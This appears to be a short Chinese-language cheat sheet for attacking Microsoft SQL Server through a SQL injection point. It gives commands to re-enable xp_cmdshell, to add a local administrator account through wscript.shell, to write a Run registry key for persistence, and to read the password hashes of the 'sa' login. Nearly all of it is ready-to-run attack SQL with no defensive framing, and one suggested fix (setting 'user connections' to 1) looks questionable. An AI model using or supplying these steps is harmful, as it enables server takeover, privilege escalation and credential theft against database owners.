使用xp_cmdshell执行命令的时候,系统回显如下:
Microsoft OLE DB Provider for SQL Server 错误 '80040e14'SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
MSSQL中控制该功能开启和关闭的SQL语句
##关闭 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE; ##开启 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
在注入点运行上述语句时,如果出现这样的回显
标记message: 配置选项 'xp_cmdshell' 不存在,也可能是高级选
执行如下语句即可解决
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'user connections',1;RECONFIGURE;--
使用wscript添加管理员
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'d:\\cmd.exe /c net localgroup administrators silic /add'
d:\\cmd.exe是自己上传的cmd.exe的路径,或者系统有权限都可以。/c后面是cmd语句,别忘了引号闭合语句
映像劫持
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='Software\Microsoft\Windows\CurrentVersion\Run',@value_name='EvilSauce',@type='REG_SZ',@value='c:\\windows\\explorer.exe'
读取MSSQL用户信息
SQL 2000:
SELECT password from master.dbo.sysxlogins where name='sa' SELECT * from master.dbo.sysxlogins
SQL 2005:
SELECT password_hash FROM sys.sql_logins where name='sa' SELECT * FROM sys.sql_logins